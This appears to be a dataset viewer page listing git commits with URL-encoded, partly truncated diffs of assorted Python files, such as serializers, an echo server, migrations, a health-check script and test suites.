e2b74a9978de4a6f15273e3e098379107eb0bec3 | Create 0001_0.py | pylyria/0001/0001_0.py | pylyria/0001/0001_0.py | Python | 0.019732 | @@ -0,0 +1,632 @@
+# -*- coding: utf-8 -*-%0A#!/usr/bin/env python%0A#%E7%AC%AC 0001 %E9%A2%98%EF%BC%9A%E5%81%9A%E4%B8%BA Apple Store App %E7%8B%AC%E7%AB%8B%E5%BC%80%E5%8F%91%E8%80%85%EF%BC%8C%E4%BD%A0%E8%A6%81%E6%90%9E%E9%99%90%E6%97%B6%E4%BF%83%E9%94%80%EF%BC%8C%E4%B8%BA%E4%BD%A0%E7%9A%84%E5%BA%94%E7%94%A8%E7%94%9F%E... | |
45db21e2b4093cbda7976189327467ca3aebe1a3 | add instance serializer | api/v2/serializers/instance_serializer.py | api/v2/serializers/instance_serializer.py | Python | 0.000001 | @@ -0,0 +1,508 @@
+from core.models import Instance%0Afrom rest_framework import serializers%0Afrom .identity_summary_serializer import IdentitySummarySerializer%0Afrom .user_serializer import UserSerializer%0A%0A%0Aclass InstanceSerializer(serializers.ModelSerializer):%0A identity = IdentitySummarySerializer(source... | |
3fc5c2a4d3f13dc8062c93dd86fd94f06c35c91d | add an easy echo server by using python | network/echo-server/echo-iterative/main.py | network/echo-server/echo-iterative/main.py | Python | 0.000002 | @@ -0,0 +1,2089 @@
+#!/usr/bin/env python%0A# -*- coding: UTF-8 -*-%0A#%0A# Copyright (c) 2016 ASMlover. All rights reserved.%0A#%0A# Redistribution and use in source and binary forms, with or without%0A# modification, are permitted provided that the following conditions%0A# are met:%0A#%0A# * Redistributions of sourc... | |
07fd61306e645b7240883d5d468f94be5ce8a34c | Add a command to retrieve all triggers | Commands/Triggers.py | Commands/Triggers.py | Python | 0.000002 | @@ -0,0 +1,881 @@
+from IRCResponse import IRCResponse, ResponseType%0Afrom CommandInterface import CommandInterface%0Aimport GlobalVars%0A%0Aclass Command(CommandInterface):%0A triggers = %5B%22triggers%22%5D%0A help = %22triggers -- returns a list of all command triggers, must be over PM%22%0A%0A def execute... | |
b173aa1a6dc1c361d65150c6782db7618a5ff126 | Add simple indexing test. | benchmarks/simpleindex.py | benchmarks/simpleindex.py | Python | 0 | @@ -0,0 +1,1393 @@
+import timeit%0A# This is to show that NumPy is a poorer choice than nested Python lists%0A# if you are writing nested for loops.%0A# This is slower than Numeric was but Numeric was slower than Python lists were%0A# in the first place. %0A%0AN = 30%0Acode2 = r%22%22%22%0Afor k in xrange(%25d):%0... | |
99061bec96a7337e6ddc1d698f00805f84089b3b | Set content headers on download | bepasty/views/download.py | bepasty/views/download.py | # Copyright: 2013 Bastian Blank <bastian@waldi.eu.org>
# License: BSD 2-clause, see LICENSE for details.
from flask import Response, current_app, stream_with_context
from flask.views import MethodView
from ..utils.name import ItemName
from . import blueprint
class DownloadView(MethodView):
def get(self, name):
... | Python | 0 | @@ -771,11 +771,10 @@
ret
-urn
+ =
Res
@@ -810,16 +810,196 @@
eam()))%0A
+ ret.headers%5B'Content-Disposition'%5D = 'attachment; filename=%22%7B%7D%22'.format(item.meta%5B'filename'%5D)%0A ret.headers%5B'Content-Length'%5D = item.meta%5B'size'%5D%0A return ret%0A
%0A%0Abluepr
|
5787d3ff813d2c96d0ec2c2fd90f91b93315e564 | Add stub for cliches | proselint/checks/inprogress/wgd_cliches.py | proselint/checks/inprogress/wgd_cliches.py | Python | 0.000001 | @@ -0,0 +1,351 @@
+%22%22%22WGD101: Cliches.%0A%0A---%0Alayout: post%0Aerror_code: WGD101%0Asource: write-good%0Asource_url: https://github.com/btford/write-good%0Atitle: WGD101: Cliches%0Adate: 2014-06-10 12:31:19%0Acategories: writing%0A---%0A%0ACliches are cliche.%0A%0A%22%22%22%0A%0A%0Adef ch... | |
9068fd506811113c50886bf9c8f4094b7e1bd7a3 | Add stats.py from week 2. | hw3/stats.py | hw3/stats.py | Python | 0 | @@ -0,0 +1,1956 @@
+#!/usr/bin/python%0A%0A# Week 2 Problem 3. Simple statistics.%0A%0A# Use Python 3 print() function, Python 3 integer division%0Afrom __future__ import print_function, division%0A%0A%0Adef get_stats(input_list):%0A '''%0A Accepts a list of integers, and returns a tuple of four numbers:%0A mi... | |
84f31dfa718a2f557b0058920037265331fd1a3f | Add missing merge migration | osf/migrations/0099_merge_20180427_1109.py | osf/migrations/0099_merge_20180427_1109.py | Python | 0.000002 | @@ -0,0 +1,332 @@
+# -*- coding: utf-8 -*-%0A# Generated by Django 1.11.11 on 2018-04-27 16:09%0Afrom __future__ import unicode_literals%0A%0Afrom django.db import migrations%0A%0A%0Aclass Migration(migrations.Migration):%0A%0A dependencies = %5B%0A ('osf', '0098_merge_20180416_1807'),%0A ('osf', '0098... | |
d6850ebe441a966dcf17f5cb8b0ce57a7c9dce8a | Add argument parsing | helenae/db/create_db.py | helenae/db/create_db.py | Python | 0.000035 | @@ -0,0 +1,2279 @@
+from optparse import OptionParser%0A%0Aimport sqlalchemy.exc%0Afrom sqlalchemy import text%0Afrom sqlalchemy.orm import sessionmaker%0A%0Afrom tables import *%0A%0A%0Adef create_db():%0A %22%22%22%0A Defined tables at tables.py file are created in some DB%0A %22%22%22%0A try:%0A ... | |
712733ead5e36362fe6e2eca1235744c257c7f69 | Create helloWorld.py | helloWorld.py | helloWorld.py | Python | 0.999992 | @@ -0,0 +1,45 @@
+# programe in python%0A%0Aprintf(%22Hello World!%22)%0A
| |
bf56a5afed926d7cdd536c1da8ba5b021a09bd95 | Test pipe framework | skan/test/test_pipe.py | skan/test/test_pipe.py | Python | 0 | @@ -0,0 +1,474 @@
+import os%0Aimport pytest%0A%0Aimport pandas%0Afrom skan import pipe%0A%0A@pytest.fixture%0Adef image_filename():%0A rundir = os.path.abspath(os.path.dirname(__file__))%0A datadir = os.path.join(rundir, 'data')%0A return os.path.join(datadir, 'retic.tif')%0A%0A%0Adef test_pipe(image_filename... | |
b663bf77fe60a108598db4ae8310e8877d06cddd | Add unit tests for core module | tests/core_test.py | tests/core_test.py | Python | 0 | @@ -0,0 +1,2022 @@
+%22%22%22Test CLI module%22%22%22%0A%0A%0Aimport os%0Aimport sys%0Aimport tempfile%0Aimport unittest%0Afrom mock import mock_open, patch%0Afrom context import dfman%0Afrom dfman import config, const, core%0A%0A%0Aclass TestMainRuntime(unittest.TestCase):%0A%0A @patch('dfman.core.Config')%0A @p... | |
be59230531d98dc25f806b2290a51a0f4fde1d3b | Rename model to prevent crash during module upgrade in tests | addons/survey/migrations/8.0.2.0/pre-migration.py | addons/survey/migrations/8.0.2.0/pre-migration.py | Python | 0 | @@ -0,0 +1,236 @@
+# coding: utf-8%0Afrom openupgradelib import openupgrade%0A%0A%0A@openupgrade.migrate()%0Adef migrate(cr, version):%0A openupgrade.rename_tables(cr, %5B('survey', 'survey_survey')%5D)%0A openupgrade.rename_models(cr, %5B('survey', 'survey.survey')%5D)%0A
| |
a277a25014c250c04fabb669013305940c867abc | Introduce new variables | openfisca_country_template/variables/stats.py | openfisca_country_template/variables/stats.py | Python | 0.000007 | @@ -0,0 +1,1654 @@
+# -*- coding: utf-8 -*-%0A%0A# This file defines the variables of our legislation.%0A# A variable is property of a person, or an entity (e.g. a household).%0A# See http://openfisca.org/doc/variables.html%0A%0A# Import from openfisca-core the common python objects used to code the legislation in Open... | |
4af5ec8c040cc1e1eae6b6208bb7e2cfeac7e146 | Allow custom Permissions to take Requests or Divisions | evesrp/auth/__init__.py | evesrp/auth/__init__.py | import re
from collections import namedtuple
from functools import partial
from flask.ext.login import current_user
from flask.ext.principal import Permission, UserNeed, RoleNeed, identity_loaded
from flask.ext.wtf import Form
from wtforms.fields import SubmitField, HiddenField
from .. import app, db, login_manager, ... | Python | 0 | @@ -1979,32 +1979,87 @@
init__(self, div
+_or_request):%0A if isinstance(div_or_request, Div
ision):%0A
@@ -2054,24 +2054,28 @@
n):%0A
+
need = Submi
@@ -2080,32 +2080,118 @@
mitRequestsNeed(
+div_or_request.id)%0A else:%0A need = SubmitRequestsNeed(div_or_request.
div... |
becba80983c5f0f29f981eadcc79d4f496e1d28b | fix issue #2778 | theme/management/commands/fix_user_quota_model.py | theme/management/commands/fix_user_quota_model.py | Python | 0 | @@ -0,0 +1,863 @@
+from django.contrib.auth.models import User%0D%0Afrom django.core.management.base import BaseCommand%0D%0A%0D%0Afrom theme.models import UserQuota%0D%0A%0D%0A%0D%0Aclass Command(BaseCommand):%0D%0A help = %22This commond can be run to fix the corrupt user data where some users do not %22 %5C%0D%0A... | |
4f1cda8459cb6bca2e317bb582266fb43e78215c | Add test_manager_mixin module. | linguist/tests/test_manager_mixin.py | linguist/tests/test_manager_mixin.py | Python | 0 | @@ -0,0 +1,1548 @@
+# -*- coding: utf-8 -*-%0Afrom __future__ import unicode_literals%0A%0Afrom .base import BaseTestCase%0A%0Afrom ..models import Translation%0Afrom ..utils.i18n import get_cache_key%0A%0A%0Aclass ManagerMixinTest(BaseTestCase):%0A %22%22%22%0A Tests the Linguist's manager mixin.%0A %22%22%22... | |
326249502d9884ea5717afff63b8a7caf60f6c2c | check in openstack healthcheck tool | planetstack/tools/openstack-healthcheck.py | planetstack/tools/openstack-healthcheck.py | Python | 0 | @@ -0,0 +1,1871 @@
+#! /usr/bin/python%0Aimport os%0Aimport sys%0Aimport subprocess%0Aimport time%0A%0Adef get_systemd_status(service):%0A p=subprocess.Popen(%5B%22/bin/systemctl%22, %22is-active%22, service%5D, stdout=subprocess.PIPE, stderr=subprocess.PIPE)%0A (out, err) = p.communicate()%0A out = out.strip(... | |
0e5e3deb8a8250429ee7a1603e017343f6c7e3bb | Create a Testing Suite | tests/run_tests.py | tests/run_tests.py | Python | 0 | @@ -0,0 +1,223 @@
+from unittest import defaultTestLoader, TextTestRunner%0Aimport sys%0A%0Asuite = defaultTestLoader.discover(start_dir=%22.%22)%0Aresult = TextTestRunner(verbosity=2, buffer=True).run(suite)%0Asys.exit(0 if result.wasSuccessful() else 1)%0A
| |
ecac8bc83491c9cb2312cf2a1c477c53c4832b4d | Add minimal dead code elimination | pykit/transform/dce.py | pykit/transform/dce.py | Python | 0.000589 | @@ -0,0 +1,750 @@
+# -*- coding: utf-8 -*-%0A%0A%22%22%22%0ADead code elimination.%0A%22%22%22%0A%0Afrom pykit.analysis import loop_detection%0A%0Aeffect_free = set(%5B%0A 'alloca', 'load', 'new_list', 'new_tuple', 'new_dict', 'new_set',%0A 'new_struct', 'new_data', 'new_exc', 'phi', 'exc_setup', 'exc_catch',%0A ... | |
2fa7855de542bb5ecd303e26d1e9913687478589 | Set up test suite to ensure server admin routes are added. | server/tests/test_admin.py | server/tests/test_admin.py | Python | 0 | @@ -0,0 +1,2368 @@
+%22%22%22General functional tests for the API endpoints.%22%22%22%0A%0A%0Afrom django.test import TestCase, Client%0A# from django.urls import reverse%0A%0Afrom rest_framework import status%0A%0Afrom server.models import ApiKey, User%0A# from api.v2.tests.tools import SalAPITestCase%0A%0A%0Aclass Ad... | |
38b12d0581e82ebb0e4fee8500bbd5d83d373afa | Create wikipedia-link-analysis-reducer.py | wikipedia-link-analysis-reducer.py | wikipedia-link-analysis-reducer.py | Python | 0.000008 | @@ -0,0 +1 @@
+%0A
| |
38f5c8534e3807d0485165017972adf47bd4aa2f | Create utils.py | utilities/utils.py | utilities/utils.py | Python | 0.000001 | @@ -0,0 +1,555 @@
+from zope.interface import implements%0A%0Afrom IOperation import IOperation%0A%0A%0Aclass Plus(object):%0A implements(IOperation)%0A%0A def __call__(self, a, b):%0A return a + b%0A%0A%0Aclass Minus(object):%0A implements(IOperation)%0A%0A def __call__(self, a, b):%0A return... | |
7801f5a34fed9c50ebd0d426a69f875026da9602 | Create tutorial2.py | tutorial2.py | tutorial2.py | Python | 0 | @@ -0,0 +1 @@
+%0A
| |
0ddac190019753d77b1ed78dcd49ad7370d666df | add some utils | python/irispy/utils.py | python/irispy/utils.py | Python | 0.000001 | @@ -0,0 +1,647 @@
+import numpy as np%0Aimport irispy%0A%0Adef lcon_to_vert(A, b):%0A poly = irispy.Polyhedron(A.shape%5B1%5D)%0A poly.setA(A)%0A poly.setB(b)%0A V = np.vstack(poly.generatorPoints()).T%0A%0Adef sample_convex_polytope(A, b, nsamples):%0A poly = irispy.Polyhedron(A.shape%5B1%5D)%0A poly... | |
538cd00a3c0307818cf62c61be3d91007a9b4091 | Add migration for movie.durations_in_s | migrations/versions/349d38252295_.py | migrations/versions/349d38252295_.py | Python | 0.000033 | @@ -0,0 +1,627 @@
+%22%22%22Add movie.duration_in_s%0A%0ARevision ID: 349d38252295%0ARevises: 2b7f5e38dd73%0ACreate Date: 2014-01-09 15:31:24.597000%0A%0A%22%22%22%0A%0A# revision identifiers, used by Alembic.%0Arevision = '349d38252295'%0Adown_revision = '2b7f5e38dd73'%0A%0Afrom alembic import op%0Aimport sqlalchemy a... | |
c8ad60f23bc630ba8e57f735c8aa0ec7eeaa3c1f | teste ggj18 | arquivo3.py | arquivo3.py | Python | 0.000001 | @@ -0,0 +1,68 @@
+dasdsa%0Asdas%0Asdasd%0Aasdasdas%0A%0As%0Adasdas%0Adas%0Ad%0Aasd%0Aas%0Adas%0Adas%0Adas%0Ad%0Asad%0A
| |
c5bbbe4f6430ef20da55ea0f8039091d4f79c491 | Add script to update taking for all team owners | sql/branch.py | sql/branch.py | Python | 0 | @@ -0,0 +1,324 @@
+import sys%0A%0Afrom gratipay import wireup%0Afrom gratipay.models.participant import Participant%0A%0Adb = wireup.db(wireup.env())%0A%0Ateams = db.all(%22%22%22%0A SELECT t.*::teams%0A FROM teams t%0A%22%22%22)%0A%0Afor team in teams:%0A print(%22Updating team %25s%22 %25 team.slug)%0A ... | |
74c58436c28fbca804cd70a88ca1250ca22aa8e6 | add test_poll.py | tests/unit/concurrently/condor/test_poll.py | tests/unit/concurrently/condor/test_poll.py | Python | 0.00002 | @@ -0,0 +1,2021 @@
+# Tai Sakuma %3Ctai.sakuma@gmail.com%3E%0Aimport os%0Aimport sys%0Aimport logging%0Aimport textwrap%0Aimport collections%0A%0Aimport pytest%0A%0Atry:%0A import unittest.mock as mock%0Aexcept ImportError:%0A import mock%0A%0Afrom alphatwirl.concurrently import WorkingArea%0Afrom alphatwirl.conc... | |
9967ade200639b584e379ec25030d1598071ffd3 | Create TextEditor.py | redactor/TextEditor.py | redactor/TextEditor.py | Python | 0.000001 | @@ -0,0 +1,592 @@
+from tkinter import *%0A%0A%0Aclass TextEditor():%0A def __init__(self):%0A self.root = Tk()%0A self.root.wm_title(%22BrickText%22)%0A self.text_panel = Text(self.root)%0A self.text_panel.pack(side=RIGHT, fill=BOTH, expand=YES)%0A self.set_tabs()%0A%0A def sta... | |
c037412566b0a0313216e49168a8ebcc831e0f9b | add hamshahri information extractor | hamshahri.py | hamshahri.py | Python | 0.000008 | @@ -0,0 +1,837 @@
+%0Afrom hazm import sent_tokenize, word_tokenize, Normalizer, HamshahriReader, POSTagger, DependencyParser%0Afrom InformationExtractor import InformationExtractor%0A%0A%0Ahamshahri = HamshahriReader('/home/alireza/Corpora/Hamshahri')%0Anormalizer = Normalizer()%0Atagger = POSTagger()%0Aparser = Depen... | |
a7ece57eec28c771bcf2a23dc9c9e575223b1383 | add memory usage profiler script | proto/memory_test/calculate_rebot_model.py | proto/memory_test/calculate_rebot_model.py | Python | 0.000001 | @@ -0,0 +1,1561 @@
+# Copyright 2008-2011 Nokia Siemens Networks Oyj%0A#%0A# Licensed under the Apache License, Version 2.0 (the %22License%22);%0A# you may not use this file except in compliance with the License.%0A# You may obtain a copy of the License at%0A#%0A# http://www.apache.org/licenses/LICENSE-2.0%0A... | |
2e985972aa4aad94bfda25ba852326b39498e4fa | Create Unique_Binary_Search_Trees.py | Array/Unique_Binary_Search_Trees.py | Array/Unique_Binary_Search_Trees.py | Python | 0.000001 | @@ -0,0 +1,1382 @@
+Given n, how many structurally unique BST's (binary search trees) that store values 1...n?%0A%0AFor example,%0AGiven n = 3, there are a total of 5 unique BST's.%0A%0A 1 3 3 2 1%0A %5C / / / %5C %5C%0A 3 2 1 1 3 2%0A / / ... | |
e2ba20d629fb35225140008437ddd93bcf516ba7 | Add translation for action short descriptions | django_mailbox/admin.py | django_mailbox/admin.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Model configuration in application ``django_mailbox`` for administration
console.
"""
import logging
from django.conf import settings
from django.contrib import admin
from django_mailbox.models import MessageAttachment, Message, Mailbox
from django_mailbox.signals i... | Python | 0.000001 | @@ -212,16 +212,72 @@
rt admin
+%0Afrom django.utils.translation import ugettext_lazy as _
%0A%0Afrom d
@@ -701,16 +701,18 @@
ption =
+_(
'Get new
@@ -717,16 +717,17 @@
ew mail'
+)
%0A%0A%0Adef r
@@ -1033,16 +1033,18 @@
= (%0A
+_(
'Re-send
@@ -1068,16 +1068,17 @@
signal'
+)
%0A)%0A%0A%0Acla
@@ -1599,32 ... |
f23c77d517dd88c38d5ad8fa0601bc61ccf17aa6 | Change url from 2016 to 2017 | pyconcz_2017/urls.py | pyconcz_2017/urls.py | from django.conf import settings
from django.conf.urls import include, url
from django.conf.urls.static import static
from django.contrib import admin
from django.views.generic import TemplateView, RedirectView
from pyconcz_2017.common.views import homepage
prefixed_urlpatterns = [
url(r'^$', homepage, name='home... | Python | 0.999212 | @@ -459,17 +459,17 @@
rl='/201
-6
+7
/proposa
@@ -1425,17 +1425,17 @@
l(r'%5E201
-6
+7
/', incl
@@ -1566,9 +1566,9 @@
/201
-6
+7
/'))
|
5becb57514c4b08fc7af2a9a4e38b2c8aac2f576 | Create computestats.py | effective_quadratures/computestats.py | effective_quadratures/computestats.py | Python | 0.000017 | @@ -0,0 +1,3475 @@
+#!/usr/bin/env python%0Aimport numpy as np%0Afrom utils import error_function%0A%0Aclass Statistics(object):%0A %0A %22%22%22%0A This subclass is an domains.ActiveVariableMap specifically for optimization.%0A **See Also**%0A optimizers.BoundedMinVariableMap%0A optimizers.UnboundedM... | |
36d0fc3c54dc0c91196c16875c1b1e2d9b0d38ea | Add basic unit test for LimitOffsetPagination | example/tests/unit/test_pagination.py | example/tests/unit/test_pagination.py | Python | 0 | @@ -0,0 +1,2647 @@
+from collections import OrderedDict%0A%0Afrom rest_framework.request import Request%0Afrom rest_framework.test import APIRequestFactory%0Afrom rest_framework.utils.urls import replace_query_param%0A%0Afrom rest_framework_json_api.pagination import LimitOffsetPagination%0A%0A%0Afactory = APIRequestFa... | |
1eed076cc9140d35cd6897ef2bcb5fe0ae943e35 | Revert "remove bindings" | binding.gyp | binding.gyp | Python | 0 | @@ -0,0 +1,336 @@
+%7B%0A%09'targets': %5B%0A%09%09%7B%0A%09%09%09'target_name': 'sysinfo',%0A%09%09%09'conditions': %5B%0A%09%09%09%09%5B'OS==%22solaris%22', %7B%0A%09%09%09%09%09'sources': %5B%0A%09%09%09%09%09%09'src/solaris.cpp'%0A%09%09%09%09%09%5D%0A%09%09%09%09%7D%5D%0A%09%09%09%5D,%0A%09%09%09'sources': %5B%0A%... | |
9a83e01b9710943c50f80c8ffc4e5d5827cb3b92 | Check data preparation | main.py | main.py | Python | 0.000027 | @@ -0,0 +1,320 @@
+from car_classifier import CarClassifier%0A%0Aif __name__ == %22__main__%22:%0A car_img_dir = 'vehicles'%0A not_car_img_dir = 'non-vehicles'%0A sample_size = 8792%0A car_classifier = CarClassifier(car_img_dir=car_img_dir,%0A not_car_img_dir=not_car_img_dir,%0A sample_size = ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.